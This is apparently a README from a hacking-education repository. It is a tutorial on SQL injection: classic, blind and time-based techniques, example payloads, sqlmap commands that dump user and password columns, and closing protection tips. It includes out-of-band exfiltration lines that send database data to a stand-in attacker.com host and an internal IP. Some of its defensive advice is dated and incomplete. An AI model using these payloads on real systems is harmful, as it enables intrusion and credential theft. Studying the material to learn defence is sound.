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docs: Clean up resources for Hackoctoberfest 2019 (#41)
* Clean up resources for Hackoctoberfest 2019
* 👩🏾🦱 Add cloud hacking readme
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Web_Hacking/SQLi/README.md
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Web_Hacking/SQLi/README.md
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# SQL Injections (SQLi)
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* SQL works by building query statements, these statements are intended to be readbale and intuitive.
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* A SQL query search can be easily manipulated and assume that a SQL query search is a reliable command. This means that SQL searches are capable of passing, unnoticed, by access control mechanisms.
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* Using methods of diverting standard authentication and by checking the authorization credentials, you can gain access to important information stored in a database.
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* Exploitation:
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- Dumping contents from the database.
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- Inserting new data.
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- Modifying existing data.
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- Writing to disk.
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## The Simplest Example
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A parameter passed for a name of a user:
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```
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SELECT * FROM users WHERE
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name="$name";
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```
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In this case, the attacker just needs to introduce a true logical expression like ```1=1```:
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```
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SELECT * FROM users WHERE 1=1;
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```
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So that the **WHERE** clause is always executed, which means that it will return the values that match to all users.
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Nowadays it is estimated that less than 5% of the websites have this vulnerability.
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These types of flaws facilitate the occurrence of other attacks, such as XSS or buffer overflows.
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## Blind SQL Injection
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* INFERENCE: useful technique when data not returned and/or detailed error messages disabled. We can differentiate between two states based on some attribute of the page response.
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* It's estimated that over 20% of the websites have this flow.
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* In traditional SQLi it is possible to reveal the information by the attacker writing a payload. In the blind SQLi, the attacker needs to ask the server if something is TRUE or FALSE. For example, you can ask for a user. If the user exists, it will load the website, so it's true.
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* Timing-based techniques: infer based on delaying database queries (sleep(), waitfor delay, etc).
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```
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IF SYSTEM_USER="john" WAIFOR DELAY '0:0:15'
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```
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* Response-based techniques (True or False): infer based on text in response. Examples:
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```
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SELECT count (*) FROM reviews WHERE author='bob' (true)
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SELECT count (*) FROM reviews WHERE author='bob' and '1'='1' (true)
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SELECT count (*) FROM reviews WHERE author='bob' and '1'='2' (false)
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SELECT count (*) FROM reviews WHERE author='bob' and SYSTEM_USER='john' (false)
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SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)='a' (false)
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SELECT count (*) FROM reviews WHERE author='bob' and SUBSTRING(SYSTEM_USER,1,1)='c' (true)
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```
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(and continue to iterate until finding the value of SYSTEM_USER).
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* Utilize transport outside of HTTP response.
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```
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SELECT * FROM reviews WHERE review_author=UTL_INADDR.GET_HOST_ADDRESS((select user from dual ||'.attacker.com'));
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INSERT into openowset('sqloledb','Network=DBMSSOCN; Address=10.0.0.2,1088;uid=gds574;pwd=XXX','SELECT * from tableresults') Select name,uid,isntuser from master.dbo.sysusers--
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```
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### Common ways of Exploitation
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* Every time you see an URL, the **question mark** followed by some type of letter or word means that a value is being sent from a page to another.
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* In the example
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```
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http://www.website.com/info.php?id=10
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```
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the page *info.php* is receiving the data and will have some code like:
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```
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$id=$_post['id'];
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```
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and an associated SQL query:
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```
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QueryHere = "select * from information where code='$id'"
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```
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#### Checking for vulnerability
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We can start to verifying whether the target is vulnerable by attaching a simple quote symbol ```'``` in the end of the URL:
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```
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http://www.website.com/info.php?id=10'
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```
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If the website returns the following error:
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You have an error in your SQL syntax...
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It means that this website is vulnerable to SQL.
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#### Find the structure of the database
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To find the number of columns and tables in a database we can use [Python's SQLmap](http://sqlmap.org/).
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This application streamlines the SQL injection process by automating the detection and exploitation of SQL injection flaws of a database. There are several automated mechanisms to find the database name, table names, and number of columns.
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* ORDER BY: it tries to order all columns form x to infinity. The iteration stops when the response shows that the input column x does not exist, reveling the value of x.
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* UNION: it gathers several data located in different table columns. The automated process tries to gather all information contained in columns/table x,y,z obtained by ORDER BY. The payload is similar to:
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```
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?id=5'%22union%22all%22select%221,2,3
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```
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* Normally the databases are defined with names such as: user, admin, member, password, passwd, pwd, user_name. The injector uses a trial and error technique to try to identify the name:
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```
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?id=5'%22union%22all%22select%221,2,3%22from%22admin
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```
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So, for example, to find the database name, we run the *sqlmap* script with target *-u* and enumeration options *--dbs* (enumerate DBMS databases):
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```
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$ ./sqlmap.py -u <WEBSITE> --dbs
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(...)
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[12:59:20] [INFO] testing if URI parameter '#1*' is dynamic
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[12:59:22] [INFO] confirming that URI parameter '#1*' is dynamic
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[12:59:23] [WARNING] URI parameter '#1*' does not appear dynamic
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[12:59:25] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
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[12:59:25] [INFO] testing for SQL injection on URI parameter '#1*'
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[12:59:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
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[12:59:27] [WARNING] reflective value(s) found and filtering out
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[12:59:51] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
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[13:00:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
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[13:00:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
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(...)
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```
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#### Gaining access to the Database
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* From this we can verify what databases we have available, for example. From this we can find out how many tables exist, and their respective names. The sqlmap command is:
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```
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./sqlmap -u <WEBSITE> --tables <DATABASE-NAME>
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```
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* The main objective is to find usernames and passwords in order to gain access/login to the site, for example in a table named *users*. The sqlmap command is
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```
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./sqlmap -u <WEBSITE> --columns -D <DATABASE-NAME> -T <TABLE-NAME>
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```
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This will return information about the columns in the given table.
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* Now we can dump all the data of all columns using the flag ```-C``` for column names:
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```
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./sqlmap -u <WEBSITE> --columns -D <DATABASE-NAME> -T <TABLE-NAME> -C 'id,name,password,login,email' --dump
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```
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If the password are clear text (not hashed in md5, etc), we have access to the website.
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## Basic SQL Injection Exploit Steps
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1. Fingerprint database server.
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2. Get an initial working exploit. Examples of payloads:
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- '
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- '--
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- ')--
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- '))--
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- or '1'='1'
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- or '1'='1
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- 1--
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3. Extract data through UNION statements:
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- NULL: use as a column place holder helps with data type conversion errors
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- GROUP BY - help determine number of columns
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4. Enumerate database schema.
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5. Dump application data.
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6. Escalate privilege and pwn the OS.
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## Some Protection Tips
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* Never connect to a database as a super user or as a root.
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* Sanitize any user input. PHP has several functions that validate functions such as:
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- is_numeric()
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- ctype_digit()
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- settype()
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- addslahes()
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- str_replace()
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* Add quotes ```"``` to all non-numeric input values that will be passed to the database by using escape chars functions:
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- mysql_real_escape_string()
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- sqlit_escape_string()
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```php
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$name = 'John';
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$name = mysql_real_escape_string($name);
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$SQL = "SELECT * FROM users WHERE username='$name'";
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```
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* Always perform a parse of data that is received from the user (POST and FORM methods).
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- The chars to be checked:```", ', whitespace, ;, =, <, >, !, --, #, //```.
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- The reserved words: SELECT, INSERT, UPDATE, DELETE, JOIN, WHERE, LEFT, INNER, NOT, IN, LIKE, TRUNCATE, DROP, CREATE, ALTER, DELIMITER.
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* Do not display explicit error messages that show the request or a part of the SQL request. They can help fingerprint the RDBMS(MSSQL, MySQL).
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* Erase user accounts that are not used (and default accounts).
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* Other tools: blacklists, AMNESIA, Java Static Tainting, Codeigniter.
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